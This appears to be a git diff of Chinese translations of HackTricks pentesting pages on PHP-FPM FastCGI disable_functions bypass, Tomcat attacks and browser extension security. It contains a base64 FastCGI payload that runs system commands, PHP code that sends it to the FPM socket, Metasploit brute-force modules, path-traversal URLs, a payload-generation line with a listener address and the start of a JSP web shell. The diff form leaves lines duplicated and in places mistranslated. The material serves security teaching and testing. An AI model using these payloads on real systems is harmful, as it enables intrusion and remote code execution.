的配方**]\([http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)). 然后将 base64 复制粘贴到以下 PHP 代码中:
然后,您可以抓取 urlencoded 有效载荷并解码,然后转换为 base64\[**例如使用这个 cyberchef 的配方**]\([http://icyberchef.com/index.html#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)). 然后将 base64 复制粘贴到以下 PHP 代码中:
```php
<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));
@ -412,19 +412,19 @@ echo $client->request($params, $code)."\n";
这是一个利用 fastcgi 协议绕过 `open_basedir``disable_functions` 的 php 脚本。\
它将帮助你通过加载恶意扩展来绕过严格的 `disable_functions` 以实现 RCE。\
你可以在这里访问它: [https://github.com/w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi) 或稍微修改和改进的版本在这里: [https://github.com/BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi)
你可以在这里访问它[https://github.com/w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi) 或稍微修改和改进的版本在这里[https://github.com/BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi)
你会发现这个利用与之前的代码非常相似,但它不是尝试使用 PHP_VALUE 绕过 `disable_functions`,而是尝试 **加载一个外部 PHP 模块** 来使用 `PHP_ADMIN_VALUE` 变量中的 `extension_dir``extension` 参数执行代码。\
**注意1**:你可能需要 **重新编译** 扩展,使用与服务器 **相同的 PHP 版本**(你可以在 phpinfo 的输出中检查):
你会发现这个利用与之前的代码非常相似,但它不是尝试使用 PHP_VALUE 绕过 `disable_functions`,而是尝试 **加载一个外部 PHP 模块** 来使用变量 `PHP_ADMIN_VALUE` 中的 `extension_dir``extension` 参数执行代码。\
**注意1**:你可能需要使用 **与服务器相同的 PHP 版本重新编译** 扩展(你可以在 phpinfo 的输出中检查):
![](<../../../../images/image (180).png>)
> [!CAUTION]
> **注意2**:我通过在 PHP `.ini` 配置文件中插入 `extension_dir``extension` 值使其工作(这是你在攻击服务器时无法做到的)。但于某种原因,当使用此利用并从 `PHP_ADMIN_VALUE` 变量加载扩展时,进程就死掉了,所以我不知道这个技术是否仍然有效。
> **注意2**:我通过在 PHP `.ini` 配置文件中插入 `extension_dir``extension` 值使其工作(这是你在攻击服务器时无法做到的)。但于某种原因,当使用此利用并从 `PHP_ADMIN_VALUE` 变量加载扩展时,进程就死掉了,所以我不知道这个技术是否仍然有效。
### PHP-FPM 远程代码执行漏洞 (CVE-201911043)
你可以使用 [**phuip-fpizdam**](https://github.com/neex/phuip-fpizdam) 利用此漏洞,并使用此 docker 环境进行测试: [https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043)。\
你还可以在 [**这里**](https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc)**找到对该漏洞的分析。**
你可以使用 [**phuip-fpizdam**](https://github.com/neex/phuip-fpizdam) 利用此漏洞,并使用此 docker 环境进行测试[https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043)。\
你还可以在 [**这里**](https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc)** 找到对该漏洞的分析。**
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -17,7 +17,7 @@
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
这将搜索文档索引页面中的术语“Tomcat”揭示HTML响应中标题标签中的版本。
这将搜索文档索引页面中的“Tomcat”一词揭示HTML响应中标题标签中的版本。
### **管理文件位置**
@ -25,7 +25,7 @@ curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
### **用户名枚举**
对于版本低于6的Tomcat可以通过以下方式枚举用户名
对于6之前的Tomcat版本,可以通过以下方式枚举用户名:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
@ -44,7 +44,7 @@ msf> use auxiliary/scanner/http/tomcat_enum
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
另一个显著的目录是 **`/manager/status`**,它显示了 Tomcat 和操作系统版本,有助于漏洞识别
另一个显著的目录是 **`/manager/status`**,它显示了 Tomcat 和操作系统版本,有助于识别漏洞。
### **暴力攻击**
@ -60,15 +60,15 @@ Along with setting various parameters in Metasploit to target a specific host.
在幸运的情况下,访问 `/auth.jsp` 可能会在回溯中泄露密码。
### **双重URL编码**
### **双重 URL 编码**
`mod_jk` 中的 CVE-2007-1860 漏洞允许双重URL编码路径遍历通过特制的URL使未授权访问管理界面成为可能
`mod_jk` 中的 CVE-2007-1860 漏洞允许双重 URL 编码路径遍历,通过特制的 URL 实现对管理界面的未经授权访问
要访问Tomcat的管理网页请前往 `pathTomcat/%252E%252E/manager/html`
要访问 Tomcat 的管理网页,请前往: `pathTomcat/%252E%252E/manager/html`
### /examples
Apache Tomcat 版本 4.x 到 7.x 包含易受信息泄露和跨站脚本XSS攻击的示例脚本。这些脚本列出得很全面,应检查是否存在未授权访问和潜在利用。找 [更多信息在这里](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
Apache Tomcat 版本 4.x 到 7.x 包含易受信息泄露和跨站脚本 (XSS) 攻击影响的示例脚本。这些脚本列出得很全面,应检查是否存在未授权访问和潜在利用。找 [更多信息](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
@ -95,19 +95,19 @@ Apache Tomcat 版本 4.x 到 7.x 包含易受信息泄露和跨站脚本XSS
### **路径遍历漏洞**
在某些 [**易受攻击的Tomcat配置**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) 中,您可以使用路径 `/..;/` 访问Tomcat中受保护目录。
在某些 [**易受攻击的 Tomcat 配置**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) 中,您可以使用路径 `/..;/` 访问 Tomcat 中受保护目录。
因此,例如,您可能能够通过访问 `www.vulnerable.com/lalala/..;/manager/html` **访问Tomcat管理**页面。
因此,例如,您可能能够通过访问 `www.vulnerable.com/lalala/..;/manager/html` **访问 Tomcat 管理** 页面。
**另一种方法**是通过访问 `http://www.vulnerable.com/;param=value/manager/html` 来绕过受保护的路径。
**另一种方法** 是通过访问 `http://www.vulnerable.com/;param=value/manager/html` 来绕过受保护的路径。
## RCE
最后如果您可以访问Tomcat Web应用程序管理器您可以 **上传并部署一个.war文件(执行代码)**。
最后,如果您可以访问 Tomcat Web 应用程序管理器,您可以 **上传并部署 .war 文件(执行代码)**。
### 限制
您只能在拥有 **足够权限**(角色:**admin**、**manager** 和 **manager-script**的情况下部署WAR。这些详细信息通常可以在 _tomcat-users.xml_ 中找到,通常定义在 `/usr/share/tomcat9/etc/tomcat-users.xml`在不同版本之间有所不同)(见 [POST ](./#post)section)。
您只能在拥有 **足够权限**(角色:**admin**、**manager** 和 **manager-script**)的情况下部署 WAR。这些详细信息通常可以在 _tomcat-users.xml_ 中找到,通常定义在 `/usr/share/tomcat9/etc/tomcat-users.xml`不同版本之间可能有所不同)(请参见 [POST ](#post) 部分)。
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -156,7 +156,7 @@ clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --d
```
### 手动方法 - Web shell
创建 **index.jsp**,并使用此 [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)
创建 **index.jsp**,并使用此 [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
@ -204,7 +204,7 @@ Tomcat 凭据文件的名称是 `tomcat-users.xml`,该文件指示用户在 to
```bash
find / -name tomcat-users.xml 2>/dev/null
```
示例:
请提供需要翻译的内容。
```xml
[...]
<!--

View File

@ -1,43 +1,43 @@
# 浏览器扩展渗透测试方法论
# Browser Extension Pentesting Methodology
{{#include ../../banners/hacktricks-training.md}}
## 基本信息
浏览器扩展是用 JavaScript 编写的,并在后台由浏览器加载。它有自己的 [DOM](https://www.w3schools.com/js/js_htmldom.asp),但可以与其他网站的 DOM 进行交互。这意味着它可能会危害其他网站的机密性、完整性和可用性CIA
Browser extensions are written in JavaScript and loaded by the browser in the background. It has its [DOM](https://www.w3schools.com/js/js_htmldom.asp) but can interact with other sites' DOMs. This means that it may compromise other sites' confidentiality, integrity, and availability (CIA).
## 主要组件
扩展布局在可视化时效果最佳,由三个组件组成。让我们深入了解每个组件。
Extension layouts look best when visualised and consists of three components. Lets look at each component in depth.
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
### **内容脚本**
每个内容脚本可以直接访问 **单个网页** 的 DOM因此暴露于 **潜在的恶意输入**。然而,内容脚本除了能够向扩展核心发送消息外,没有其他权限。
Each content script has direct access to the DOM of a **single web page** and is thereby exposed to **potentially malicious input**. However, the content script contains no permissions other than the ability to send messages to the extension core.
### **扩展核心**
扩展核心包含大部分扩展权限/访问,但扩展核心只能通过 [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) 和内容脚本与网页内容进行交互。此外,扩展核心无法直接访问主机机器。
The extension core contains most of the extension privileges/access, but the extension core can only interact with web content via [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) and content scripts. Also, the extension core does not have direct access to the host machine.
### **本地二进制**
扩展允许一个本地二进制文件,可以 **以用户的全部权限访问主机机器。** 本地二进制通过 Flash 和其他浏览器插件使用的标准 Netscape 插件应用程序编程接口 ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) 与扩展核心进行交互。
The extension allows a native binary that can **access the host machine with the users full privileges.** The native binary interacts with the extension core through the standard Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) used by Flash and other browser plug-ins.
### 边界
> [!CAUTION]
> 为了获得用户的全部权限,攻击者必须说服扩展将恶意输入从内容脚本传递到扩展核心,并从扩展核心传递到本地二进制。
> To obtain the user's full privileges, an attacker must convince the extension to pass malicious input from the content script to the extension's core and from the extension's core to the native binary.
扩展的每个组件之间由 **强保护边界** 隔离。每个组件在 **单独的操作系统进程** 中运行。内容脚本和扩展核心在 **沙箱进程** 中运行,这些进程对大多数操作系统服务不可用。
Each component of the extension is separated from each other by **strong protective boundaries**. Each component runs in a **separate operating system process**. Content scripts and extension cores run in **sandbox processes** unavailable to most operating system services.
此外,内容脚本通过 **在单独的 JavaScript 堆中运行** 与其关联的网页分离。内容脚本和网页有 **访问相同的底层 DOM** 的权限,但两者 **从不交换 JavaScript 指针**,防止 JavaScript 功能的泄露。
Moreover, content scripts separate from their associated web pages by **running in a separate JavaScript heap**. The content script and web page have **access to the same underlying DOM**, but the two **never exchange JavaScript pointers**, preventing the leaking of JavaScript functionality.
## **`manifest.json`**
Chrome 扩展只是一个带有 [.crx 文件扩展名](https://www.lifewire.com/crx-file-2620391) 的 ZIP 文件夹。扩展的核心是位于文件夹根目录的 **`manifest.json`** 文件,该文件指定布局、权限和其他配置选项。
A Chrome extension is just a ZIP folder with a [.crx file extension](https://www.lifewire.com/crx-file-2620391). The extension's core is the **`manifest.json`** file at the root of the folder, which specifies layout, permissions, and other configuration options.
示例:
Example:
```json
{
"manifest_version": 2,
@ -91,7 +91,7 @@ document.body.appendChild(div)
```
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
当点击此按钮时,通过用[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)内容脚本向扩展页面发送消息。这是由于内容脚本在直接访问API方面的限制`storage`是少数例外之一。对于超出这些例外的功能,消息被发送到扩展页面,内容脚本可以与之通信。
当点击此按钮时,通过使用[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)内容脚本向扩展页面发送消息。这是由于内容脚本在直接访问API方面的限制`storage`是少数例外之一。对于超出这些例外的功能,消息被发送到扩展页面,内容脚本可以与之通信。
> [!WARNING]
> 根据浏览器的不同内容脚本的能力可能会略有不同。对于基于Chromium的浏览器能力列表可在[Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)中找到而对于Firefox[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)是主要来源。\
@ -99,14 +99,14 @@ document.body.appendChild(div)
要在Chrome中查看和调试内容脚本可以通过选项 > 更多工具 > 开发者工具访问Chrome开发者工具菜单或按Ctrl + Shift + I。
当开发者工具显示后,点击**源标签**,然后点击**内容脚本**标签。这允许观察来自各种扩展的运行内容脚本,并设置断点以跟踪执行流程。
当开发者工具显示后,点击**源**选项卡,然后点击**内容脚本**选项卡。这允许观察来自各种扩展的运行内容脚本,并设置断点以跟踪执行流程。
### 注入的内容脚本
> [!TIP]
> 请注意,**内容脚本不是强制性的**,因为也可以**动态** **注入**脚本,并通过**`tabs.executeScript`**在网页中**程序化地注入**它们。这实际上提供了更**细粒度的控制**。
要程序化地注入内容脚本,扩展需要对要注入脚本的页面具有[主机权限](https://developer.chrome.com/docs/extensions/reference/permissions)。这些权限可以通过在扩展的清单中**请求**它们或通过[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)临时获取。
要程序化地注入内容脚本,扩展需要对要注入脚本的页面具有[主机权限](https://developer.chrome.com/docs/extensions/reference/permissions)。这些权限可以通过在扩展的清单中**请求**它们或通过[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)临时获得。
#### 示例基于activeTab的扩展
```json:manifest.json
@ -138,7 +138,7 @@ files: ["content-script.js"],
})
})
```
- **点击时注入一个函数**:
- **点击时注入一个函数**:
```javascript
//service-worker.js - Inject a function
function injectedFunction() {
@ -208,16 +208,16 @@ js: ["contentScript.js"],
```
### `background`
由内容脚本发送的消息由**背景页面**接收,该页面在协调扩展的组件中发挥着核心作用。值得注意的是,背景页面在扩展的整个生命周期中持续存在,默默运行而无需直接用户交互。它拥有自己的文档对象模型DOM能够实现复杂的交互和状态管理
由内容脚本发送的消息由 **background page** 接收它在协调扩展的组件中发挥着核心作用。值得注意的是background page 在扩展的整个生命周期中持续存在,默默运行而无需直接用户交互。它拥有自己的文档对象模型 (DOM),使得复杂的交互和状态管理成为可能
**关键点**
- **背景页面角色:** 作为扩展的神经中枢,确保扩展各部分之间的通信和协调。
- **Background Page 角色:** 作为扩展的神经中枢,确保扩展各部分之间的通信和协调。
- **持久性:** 它是一个始终存在的实体,对用户不可见,但对扩展的功能至关重要。
- **自动生成:** 如果未明确定义,浏览器将自动创建一个背景页面。这个自动生成的页面将包含扩展清单中指定的所有背景脚本,确保扩展的后台任务无缝运行。
- **自动生成:** 如果未明确定义,浏览器将自动创建一个 background page。这个自动生成的页面将包含扩展清单中指定的所有后台脚本确保扩展后台任务的无缝运行。
> [!TIP]
> 浏览器在自动生成背景页面(未明确声明时)所提供的便利,确保所有必要的背景脚本都被集成并正常运行,从而简化了扩展的设置过程。
> 浏览器在自动生成 background page当未明确声明时所提供的便利确保所有必要的后台脚本都被集成并正常运行,从而简化了扩展的设置过程。
示例背景脚本:
```js
@ -245,7 +245,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
请注意,这些页面不像后台页面那样持久,因为它们根据需要动态加载内容。尽管如此,它们与后台页面共享某些功能:
- **与内容脚本的通信:** 类似于后台页面,这些页面可以接收来自内容脚本的消息,促进扩展内的交互。
- **与内容脚本的通信:** 与后台页面类似,这些页面可以接收来自内容脚本的消息,促进扩展内的交互。
- **访问扩展特定的 API** 这些页面享有对扩展特定 API 的全面访问,受扩展定义的权限限制。
### `permissions` & `host_permissions`
@ -254,7 +254,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
由于浏览器扩展可能具有如此 **特权**,恶意扩展或被攻陷的扩展可能允许攻击者 **以不同方式窃取敏感信息并监视用户**
检查这些设置如何工作以及它们如何可能被滥用:
检查这些设置如何工作以及如何被滥用:
{{#ref}}
browext-permissions-and-host_permissions.md
@ -302,10 +302,10 @@ chrome-extension://<extension-id>/message.html
<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
不过,如果使用了 `manifest.json` 参数 **`use_dynamic_url`**则该 **id 可能是动态的**
不过,如果使用了 `manifest.json` 参数 **`use_dynamic_url`**这个 **id 可能是动态的**
> [!TIP]
> 请注意,即使此处提到某个页面,它也可能由于 **内容安全策略****受到 ClickJacking 保护**。因此,在确认 ClickJacking 攻击是否可能之前您还需要检查它frame-ancestors 部分)。
> 请注意,即使这里提到的页面可能会因 **内容安全策略****受到 ClickJacking 保护**。因此,在确认 ClickJacking 攻击是否可能之前您还需要检查它frame-ancestors 部分)。
允许访问这些页面使这些页面 **可能容易受到 ClickJacking 攻击**
@ -326,8 +326,8 @@ browext-clickjacking.md
根据 [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)`"externally_connectable"` 清单属性声明 **哪些扩展和网页可以通过** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 和 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) 连接到您的扩展。
- 如果在扩展的清单中 **未声明 `externally_connectable`** 键,或者声明为 **`"ids": ["*"]`****所有扩展都可以连接,但没有网页可以连接**。
- 如果 **指定了特定 ID**,如 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`**只有这些应用程序** 可以连接。
- 如果 **指定了匹配项**,这些网络应用程序将能够连接:
- 如果 **指定了特定 ID**,如 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`**只有这些应用程序** 可以连接。
- 如果 **指定了匹配项**,这些网页应用将能够连接:
```json
"matches": [
"https://*.google.com/*",
@ -335,26 +335,26 @@ browext-clickjacking.md
```
- 如果指定为空:**`"externally_connectable": {}`**,则没有应用程序或网页能够连接。
这里指示的**扩展和URL越少****攻击面就越小**。
这里指示的**扩展和网址越少****攻击面就越小**。
> [!CAUTION]
> 如果在**`externally_connectable`**中指示了**易受XSS或接管攻击的网页**,攻击者将能够**直接向后台脚本发送消息**完全绕过内容脚本及其CSP。
> 如果网页在**`externally_connectable`**中被指示为**易受XSS或接管攻击**,攻击者将能够**直接向后台脚本发送消息**完全绕过内容脚本及其CSP。
>
> 因此,这是一个**非常强大的绕过**。
>
> 此外,如果客户端安装了一个恶意扩展,即使它不被允许与易受攻击的扩展通信,它也可能在一个允许的网页中注入**XSS数据**,或滥用**`WebRequest`**或**`DeclarativeNetRequest`** API来操纵目标域上的请求改变页面对**JavaScript文件**的请求。请注意目标页面上的CSP可能会阻止这些攻击。这个想法来自[**这篇文章**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)。
> 此外,如果客户端安装了一个恶意扩展,即使它不被允许与易受攻击的扩展通信,它也可能在**允许的网页中注入XSS数据**,或滥用**`WebRequest`**或**`DeclarativeNetRequest`** API来操纵目标域上的请求改变页面对**JavaScript文件**的请求。请注意目标页面上的CSP可能会阻止这些攻击。这个想法来自[**这篇文章**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)。
## 通信总结
## 通信摘要
### 扩展 <--> WebApp
在内容脚本和网页之间,通常使用后续消息进行通信。因此,在网页应用程序中,您通常会找到对**`window.postMessage`**函数的调用,而在内容脚本中则有像**`window.addEventListener`**这样的监听器。然而,请注意,扩展也可以**通过发送Post Message与网页应用程序通信**(因此网页应该预期此情况),或者只是让网页加载一个新脚本。
在内容脚本和网页之间,通常使用后续消息进行通信。因此,在网页应用程序中,您通常会发现对**`window.postMessage`**函数的调用,而在内容脚本中则有像**`window.addEventListener`**这样的监听器。然而,请注意,扩展也可以**通过发送Post Message与网页应用程序通信**(因此网页应该预期此情况),或者只是让网页加载一个新脚本。
### 在扩展内部
通常使用**`chrome.runtime.sendMessage`**在扩展内部发送消息(通常由`background`脚本处理),为了接收和处理它,声明一个监听器调用**`chrome.runtime.onMessage.addListener`**。
也可以使用**`chrome.runtime.connect()`**来建立持久连接,而不是发送单个消息,可以用它来**发送**和**接收****消息**,如下例所示
也可以使用**`chrome.runtime.connect()`**来建立持久连接,而不是发送单个消息,可以像以下示例一样使用它来**发送**和**接收****消息**
<details>
@ -389,7 +389,7 @@ console.log("Content script received message from background script:", msg)
```
</details>
也可以从后台脚本向位于特定标签页中的内容脚本发送消息,调用 **`chrome.tabs.sendMessage`**,在此需要指明要发送消息的 **标签页 ID**
也可以通过调用 **`chrome.tabs.sendMessage`** 从后台脚本向位于特定标签页中的内容脚本发送消息,您需要指明要发送消息的 **标签页 ID**
### 从允许的 `externally_connectable` 到扩展
@ -397,11 +397,11 @@ console.log("Content script received message from background script:", msg)
```javascript
chrome.runtime.sendMessage(extensionId, ...
```
在需要提及**扩展 ID**的地方。
在需要提及 **extension ID** 的地方。
### 本地消息传递
### Native Messaging
后台脚本可以与系统内的二进制文件进行通信,如果这种通信没有得到妥善保护,可能会**容易受到诸如 RCE 等关键漏洞的影响**。[稍后会详细介绍](./#native-messaging)。
背景脚本可以与系统内的二进制文件进行通信,如果这种通信没有得到妥善保护,可能会 **容易受到诸如 RCEs 的关键漏洞**。 [More on this later](#native-messaging)。
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -411,11 +411,11 @@ console.log("Received " + response)
}
)
```
## Web **↔︎** 内容脚本通信
## Web **↔︎** Content Script Communication
**内容脚本**操作的环境与主页面存在的环境是**分开的**,确保了**隔离**。尽管存在这种隔离,双方都能够与页面的**文档对象模型 (DOM)** 进行交互,这是一个共享资源。为了使主页面能够与**内容脚本**进行通信,或通过内容脚本间接与扩展进行通信,必须利用双方都可以访问的**DOM**作为通信通道。
